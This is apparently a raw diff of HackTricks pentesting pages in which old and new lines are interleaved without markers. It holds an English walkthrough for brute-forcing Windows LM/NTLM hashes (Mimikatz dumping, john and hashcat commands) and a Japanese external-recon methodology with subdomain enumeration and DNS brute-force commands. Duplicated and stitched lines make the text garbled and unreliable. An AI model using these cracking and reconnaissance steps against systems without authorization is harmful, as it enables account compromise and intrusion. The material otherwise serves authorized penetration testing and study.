There are several tools available for brute forcing Windows hashes, including **John the Ripper**, **Hashcat**, and **Hydra**. These tools are capable of running through large wordlists and trying different combinations of characters to crack the hash.
|
||||
There are several tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools are widely used by security professionals and hackers for password cracking.
|
||||
|
||||
### Methodology
|
||||
|
||||
To brute force a Windows hash, you first need to obtain the hash itself. This can be done by extracting the hash from the Windows system or by using tools like **Mimikatz** to dump the hashes from memory.
|
||||
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz**.
|
||||
|
||||
Once you have the hash, you can use a tool like **John the Ripper** to run a brute force attack. John the Ripper allows you to specify the character set, minimum and maximum password length, and other parameters to customize the attack.
|
||||
2. **Choose a Tool**: Select a suitable tool for brute forcing Windows hashes. Configure the tool with the necessary settings, such as character set, password length, and hash algorithm.
|
||||
|
||||
Another popular tool for brute forcing Windows hashes is **Hashcat**. Hashcat supports multiple hashing algorithms and can be highly optimized for speed, making it a powerful tool for cracking hashes.
|
||||
3. **Start Brute Forcing**: Initiate the brute force attack using the selected tool. The tool will systematically try different combinations of characters until the correct password is discovered.
|
||||
|
||||
4. **Crack the Hash**: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Brute forcing Windows hashes can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack Windows hashes and gain access to the system. It is important to use these techniques responsibly and only on systems that you have permission to test.
|
||||
Brute forcing Windows hashes is a common and effective method for cracking passwords. By using the right tools and following the proper methodology, security professionals can uncover weak passwords and strengthen the overall security of Windows systems.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
## Brute Force
|
||||
## Brute-Force
|
||||
|
||||
Brute force attacks are a common way to crack hashes. This method involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are effective, especially for simpler passwords. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat.
|
||||
Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-forcing can be time-consuming and resource-intensive, but it is effective against weak passwords. There are tools available that can automate the brute-forcing process, such as John the Ripper and Hashcat.
|
||||
|
||||
### Using John the Ripper
|
||||
### Steps to Brute-Force a Hash:
|
||||
|
||||
To use John the Ripper for brute force attacks, you can run the following command:
|
||||
1. **Capture the Hash**: Obtain the hash value that you want to crack.
|
||||
2. **Select a Brute-Force Tool**: Choose a suitable tool for the hash type you are trying to crack.
|
||||
3. **Set Up the Tool**: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
|
||||
4. **Start the Brute-Force Attack**: Initiate the attack and let the tool try all possible combinations.
|
||||
5. **Wait for Results**: Depending on the complexity of the password, the process may take some time.
|
||||
6. **Verify the Cracked Password**: Once the tool finds a match, verify the cracked password with the original hash value.
|
||||
|
||||
```bash
|
||||
john --format=FORMAT hash.txt
|
||||
```
|
||||
|
||||
Replace `FORMAT` with the hash type you are trying to crack, and `hash.txt` with the file containing the hash you want to crack.
|
||||
|
||||
### Using Hashcat
|
||||
|
||||
Hashcat is another powerful tool for brute force attacks. You can use Hashcat with the following command:
|
||||
|
||||
```bash
|
||||
hashcat -m FORMAT hash.txt wordlist.txt
|
||||
```
|
||||
|
||||
Replace `FORMAT` with the hash type and `wordlist.txt` with the file containing the wordlist you want to use for the brute force attack.
|
||||
By following these steps, you can effectively crack common application hashes using brute-force techniques.
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -903,15 +932,15 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,19 +4,19 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする
|
||||
- 自分のハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や **解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,29 +24,29 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
> ある企業に属するすべてのものが対象に含まれていると言われた場合、この企業が実際に所有しているものを把握したいと思うでしょう。
|
||||
|
||||
このフェーズの目標は、まず**主要企業が所有する企業**をすべて取得し、その後これらの企業の**資産**をすべて取得することです。これを行うために、以下の手順を実行します:
|
||||
このフェーズの目標は、まず**主要企業が所有する企業**をすべて取得し、その後これらの企業の**資産**をすべて取得することです。これを行うために、以下の手順を実行します:
|
||||
|
||||
1. 主要企業の買収を見つけることで、対象に含まれる企業を把握します。
|
||||
2. 各企業のASN(存在する場合)を見つけることで、各企業が所有するIP範囲を把握します。
|
||||
3. 逆whois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。
|
||||
4. shodanの`org`および`ssl`フィルタなどの他のテクニックを使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。
|
||||
3. リバースWhois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。
|
||||
4. 他の手法(shodanの`org`および`ssl`フィルタなど)を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。
|
||||
|
||||
### **買収**
|
||||
|
||||
まず第一に、**主要企業が所有する他の企業**を知る必要があります。\
|
||||
[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を**検索**し、「**acquisitions**」を**クリック**すると、主要企業が取得した他の企業が表示されます。\
|
||||
他のオプションとしては、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することがあります。
|
||||
まず最初に、**主要企業が所有する他の企業**を知る必要があります。\
|
||||
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を**検索**し、**「買収」**を**クリック**することです。そこで、主要企業によって取得された他の企業が表示されます。\
|
||||
もう1つのオプションは、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することです。
|
||||
|
||||
> この時点で、対象に含まれるすべての企業を把握するはずです。それでは、彼らの資産を見つける方法を考えてみましょう。
|
||||
> この時点で、対象に含まれるすべての企業を把握するはずです。それらの資産を見つける方法を見つけましょう。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム(AS)**に割り当てられた**一意の番号**です。\
|
||||
**AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成されている場合があります。
|
||||
|
||||
企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内の**ドメイン**を検索することが重要です。\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索できます。\
|
||||
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。
|
||||
**企業がどのASNを割り当てられているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内の**ドメイン**を探すことが重要です。\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索することができます。\
|
||||
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -75,20 +75,20 @@ bbot -t tesla.com -f subdomain-enum
|
|||
### **脆弱性を探す**
|
||||
|
||||
この時点で、**スコープ内のすべての資産がわかっている**ので、許可されている場合は、すべてのホストに対して**脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\
|
||||
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodanのようなサービスを使用して**開いているポートを見つけ、見つけたものに応じて**この書籍で実行する可能性のある複数のサービスをペンテストする方法を確認することができます。\
|
||||
**また、デフォルトのユーザー名**と**パスワード**のリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースすることもできます。
|
||||
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodanのようなサービスを使用して**開いているポートを見つけ、見つけたものに応じて**この書籍を参照して実行されているさまざまなサービスをペンテストする方法を確認することができます。\
|
||||
**また、デフォルトのユーザー名**と**パスワードのリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースできることも価値があるかもしれません。
|
||||
|
||||
## ドメイン
|
||||
|
||||
> スコープ内のすべての企業とその資産がわかっているので、スコープ内のドメインを見つける時が来ました。
|
||||
|
||||
_以下の提案された技術を使用すると、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_
|
||||
_以下の提案された手法では、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_
|
||||
|
||||
まず、各企業の**メインドメイン**を探すべきです。例えば、_Tesla Inc._の場合は_tesla.com_になります。
|
||||
|
||||
### **逆引きDNS**
|
||||
|
||||
ドメインのIP範囲を見つけたので、これらのIPに対して**逆引きDNSルックアップ**を試み、スコープ内のさらなるドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||
ドメインのIP範囲を見つけたので、これらの**IPに逆引きDNSルックアップ**を試みて、スコープ内のさらなるドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -116,7 +116,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
### **トラッカー**
|
||||
|
||||
2つの異なるページで**同じトラッカーの同じID**を見つけると、**両方のページ**が**同じチームによって管理されている**と推測できます。\
|
||||
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見つけた場合。
|
||||
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合。
|
||||
|
||||
これらのトラッカーやその他の情報を検索できるいくつかのページやツールがあります:
|
||||
|
||||
|
@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Favicon**
|
||||
|
||||
ターゲットに関連するドメインやサブドメインを見つけるために、同じfaviconアイコンハッシュを検索することができることを知っていましたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です:
|
||||
ターゲットに関連するドメインやサブドメインを見つけるために、同じファビコンアイコンハッシュを検索することができることを知っていましたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
これがウェブのファビコンハッシュを計算する方法です:
|
||||
これは、ウェブのファビコンハッシュを計算する方法です:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -156,35 +156,35 @@ return fhash
|
|||
```
|
||||
### **著作権 / ユニークな文字列**
|
||||
|
||||
同じ組織内の異なるウェブ間で共有される可能性のある文字列を検索します。**著作権文字列**は良い例です。その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"`
|
||||
同じ組織内の異なるウェブ間で共有される可能性のある**文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"`
|
||||
|
||||
### **CRT 時間**
|
||||
|
||||
次のようなクーロンジョブを持つことが一般的です。
|
||||
次のようなクーロンジョブを持つのは一般的です。
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### **外部リコン手法**
|
||||
|
||||
サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが生成された時間を有効期間内に設定していなくても、**証明書透明性ログ内で同じ会社に属するドメインを見つけることが可能**です。\
|
||||
サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが生成された時間を有効期間内に設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることができる**可能性があります。\
|
||||
詳細については、[**こちらの解説**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をご覧ください。
|
||||
|
||||
### **パッシブな乗っ取り**
|
||||
|
||||
クラウドプロバイダーに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか**失い、DNSレコードの削除を忘れる**ことが一般的です。そのため、クラウド(例:Digital Ocean)でVMを**起動**するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。
|
||||
クラウドプロバイダーに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることが一般的です。そのため、クラウド(たとえばDigital Ocean)でVMを**起動**するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。
|
||||
|
||||
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)では、そのストーリーを説明し、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトを提案しています。
|
||||
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)では、そのストアについて説明し、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトを提案しています。
|
||||
|
||||
### **その他の方法**
|
||||
|
||||
**新しいドメインを見つけるたびに、この手法を使用できることに注意してください。**
|
||||
**新しいドメインを見つけるたびに、この手法を使用してさらに多くのドメイン名を発見できることに注意してください。**
|
||||
|
||||
**Shodan**
|
||||
|
||||
すでにIPスペースを所有している組織の名前を知っている場合、そのデータでshodanで検索できます: `org:"Tesla, Inc."` TLS証明書内の新しい予期しないドメインを見つけるために、見つかったホストをチェックしてください。
|
||||
すでにIPスペースを所有している組織の名前を知っている場合、そのデータでshodanで検索できます: `org:"Tesla, Inc."` TLS証明書で新しい予期しないドメインを見つけるために見つかったホストをチェックしてください。
|
||||
|
||||
主要なWebページの**TLS証明書**にアクセスし、**組織名**を取得してから、**shodan**で知られているすべてのWebページの**TLS証明書**内でその名前を検索します。フィルターを使用して: `ssl:"Tesla Motors"` または[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。
|
||||
主要なWebページの**TLS証明書**にアクセスし、**組織名**を取得してから、**shodan**で知られているすべてのWebページの**TLS証明書**内でその名前を検索するか、フィルターを使用してください: `ssl:"Tesla Motors"` または[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用してください。
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
|
@ -192,19 +192,19 @@ return fhash
|
|||
|
||||
### **脆弱性の検索**
|
||||
|
||||
[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。
|
||||
[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録して、会社に通知してください。
|
||||
|
||||
アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
_ドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にあることに注意してください。_
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## サブドメイン
|
||||
|
||||
> スコープ内のすべての企業、各企業のすべての資産、および企業に関連するすべてのドメインを知っています。
|
||||
> スコープ内のすべての企業、各企業のすべてのアセット、および企業に関連するすべてのドメインを知っています。
|
||||
|
||||
見つかった各ドメインのすべての可能なサブドメインを見つける時が来ました。
|
||||
|
||||
|
@ -265,9 +265,9 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
次のような、サブドメインを直接的に特定することに特化していないが、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります:
|
||||
以下は、サブドメインを直接的に特定することに特化していなくても、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用
|
||||
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
|
@ -302,7 +302,7 @@ crt tesla.com
|
|||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクレイピングし、JSファイルからサブドメインを抽出します。
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクラップし、JSファイルを探し、その中からサブドメインを抽出します。
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -327,16 +327,16 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIPの履歴を検索するための無料APIを提供しています
|
||||
* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIP履歴を検索するための無料APIを提供しています
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
これらのツールの**比較**をこちらで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
これらのツールの**比較**をここで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNSブルートフォース**
|
||||
|
||||
可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけることを試みましょう。
|
||||
可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけることを試してみましょう。
|
||||
|
||||
このアクションには、次のような**一般的なサブドメインのワードリスト**が必要です:
|
||||
|
||||
|
@ -356,11 +356,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用していると思います。
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用していると思います
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えた、`massdns` のラッパーであり、Goで書かれています。
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、有効なサブドメインを列挙するためのアクティブなブルートフォースを使用し、ワイルドカード処理と簡単な入出力サポートを備えた、`massdns` のラッパーであり、Go言語で書かれています。
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -368,20 +368,20 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、非同期でドメイン名を総当たり攻撃するためにasyncioを使用します。
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、ドメイン名を非同期で総当たり攻撃するためにasyncioを使用します。
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### 第二のDNSブルートフォースラウンド
|
||||
|
||||
オープンソースやブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに探ることができます。この目的には、いくつかのツールが役立ちます:
|
||||
オープンソースやブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。
|
||||
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。
|
||||
* goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)で入手できます。
|
||||
* goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)から入手できます。
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
